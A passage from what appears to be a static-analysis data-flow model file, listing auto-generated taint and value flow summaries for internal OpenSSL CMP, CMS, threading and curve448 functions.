"Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_set1_caPubsOut", "(OSSL_CMP_SRV_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_set1_chainOut", "(OSSL_CMP_SRV_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_add_extraCerts", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_msg_check_update", "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_msg_create", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "ReturnValue[*].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_gen_push1_ITAVs", "(OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_protect", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set_bodytype", "(OSSL_CMP_MSG *,int)", "", "Argument[1]", "Argument[*0].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkiconf_new", "(OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pkisi_check_pkifailureinfo", "(const OSSL_CMP_PKISI *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkisi_get0_statusString", "(const OSSL_CMP_PKISI *)", "", "Argument[*0].Field[**statusString]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkisi_get0_statusString", "(const OSSL_CMP_PKISI *)", "", "Argument[*0].Field[*statusString]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkisi_get_status", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollRep_new", "(OSSL_CMP_CTX *,int,int64_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollReq_new", "(OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollrepcontent_get0_pollrep", "(const OSSL_CMP_POLLREPCONTENT *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollrepcontent_get0_pollrep", "(const OSSL_CMP_POLLREPCONTENT *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_revrepcontent_get_CertId", "(OSSL_CMP_REVREPCONTENT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_revrepcontent_get_pkisi", "(OSSL_CMP_REVREPCONTENT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_rp_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_rp_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_rp_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_rr_new", "(OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[***data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[***data].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**data].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[***data].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[**data].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestAlgorithm_find_ctx", "(EVP_MD_CTX *,BIO *,X509_ALGOR *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestAlgorithm_find_ctx", "(EVP_MD_CTX *,BIO *,X509_ALGOR *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_do_final", "(const CMS_ContentInfo *,BIO *,int)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_do_final", "(const CMS_ContentInfo *,BIO *,int)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[*2]", "Argument[*0].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[2]", "Argument[*0].Field[**key]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[3]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EnvelopedData_final", "(CMS_ContentInfo *,BIO *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EnvelopedData_final", "(CMS_ContentInfo *,BIO *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_RecipientInfo_kari_init", "(CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_RecipientInfo_kari_init", "(CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ossl_cms_SignedData_final", "(CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_SignedData_final", "(CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_cert_cmp", "(CMS_SignerIdentifier *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_cert_cmp", "(CMS_SignerIdentifier *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_get0_signer_id", "(CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **)", "", "Argument[*0].Field[*d].Union[*(unnamed class/struct/union)]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_get0_signer_id", "(CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **)", "", "Argument[*0].Field[*d].Union[**(unnamed class/struct/union)]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_libctx", "(const CMS_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_libctx", "(const CMS_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_propq", "(const CMS_CTX *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_propq", "(const CMS_CTX *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_encode_Receipt", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**signature]", "ReturnValue[*].Field[**data].Field[**originatorSignatureValue]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_encode_Receipt", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*signature]", "ReturnValue[*].Field[**data].Field[*originatorSignatureValue]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_get0_auth_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get0_auth_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get0_cmsctx", "(const CMS_ContentInfo *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_get0_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get0_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get1_certs_ex", "(CMS_ContentInfo *,stack_st_X509 **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_get1_crls_ex", "(CMS_ContentInfo *,stack_st_X509_CRL **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_ias_cert_cmp", "(CMS_IssuerAndSerialNumber *,X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_keyid_cert_cmp", "(ASN1_OCTET_STRING *,X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_keyid_cert_cmp", "(ASN1_OCTET_STRING *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_keyid_cert_cmp", "(ASN1_OCTET_STRING *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_set1_SignerIdentifier", "(CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_set1_SignerIdentifier", "(CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *)", "", "Argument[2]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_set1_ias", "(CMS_IssuerAndSerialNumber **,X509 *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_cms_set1_ias", "(CMS_IssuerAndSerialNumber **,X509 *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_set1_ias", "(CMS_IssuerAndSerialNumber **,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_set1_keyid", "(ASN1_OCTET_STRING **,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_set1_keyid", "(ASN1_OCTET_STRING **,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_sign_encrypt", "(BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_sign_encrypt", "(BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_core_bio_new_from_bio", "(BIO *)", "", "Argument[0]", "ReturnValue[*].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_core_bio_read_ex", "(OSSL_CORE_BIO *,void *,size_t,size_t *)", "", "Argument[*3]", "Argument[*0].Field[**bio].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "ossl_core_bio_read_ex", "(OSSL_CORE_BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*0].Field[**bio].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "ossl_core_bio_read_ex", "(OSSL_CORE_BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_core_bio_vprintf", "(OSSL_CORE_BIO *,const char *,va_list)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_ex_data_get_ossl_lib_ctx", "(const CRYPTO_EX_DATA *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_ex_data_get_ossl_lib_ctx", "(const CRYPTO_EX_DATA *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_get_ex_new_index_ex", "(OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_crypto_new_ex_data_ex", "(OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *)", "", "Argument[*0]", "Argument[*3].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_new_ex_data_ex", "(OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *)", "", "Argument[0]", "Argument[*3].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_join", "(void *,CRYPTO_THREAD_RETVAL *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_crypto_thread_native_join", "(CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[**1]", "ReturnValue[*].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[0]", "ReturnValue[*].Field[*routine]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[2]", "ReturnValue[*].Field[*joinable]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[**2]", "ReturnValue[*].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[*2]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[1]", "ReturnValue[*].Field[*routine]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[2]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ctrl_internal", "(SSL *,int,long,void *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ctrl_internal", "(SSL *,int,long,void *,int)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ctrl_internal", "(SSL *,int,long,void *,int)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ctx_global_properties", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_ctx_global_properties", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_base_double_scalarmul_non_secret", "(curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[*1]", "Argument[*0].Field[*t].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[*1]", "Argument[*0].Field[*y].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[1]", "Argument[*0].Field[*t].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[1]", "Argument[*0].Field[*y].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_double", "(curve448_point_t,const curve448_point_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[*1].Field[*x].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[*1].Field[*y].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_x448", "(uint8_t[56],const curve448_point_t)", "", "Argument[*1].Field[*y].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_x448", "(uint8_t[56],const curve448_point_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_valid", "(const curve448_point_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_precomputed_scalarmul", "(curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_scalar_add", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_add", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[*1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode_long", "(curve448_scalar_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode_long", "(curve448_scalar_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode_long", "(curve448_scalar_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_encode", "(unsigned char[56],const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_halve", "(curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_mul", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_mul", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_sub", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_sub", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char 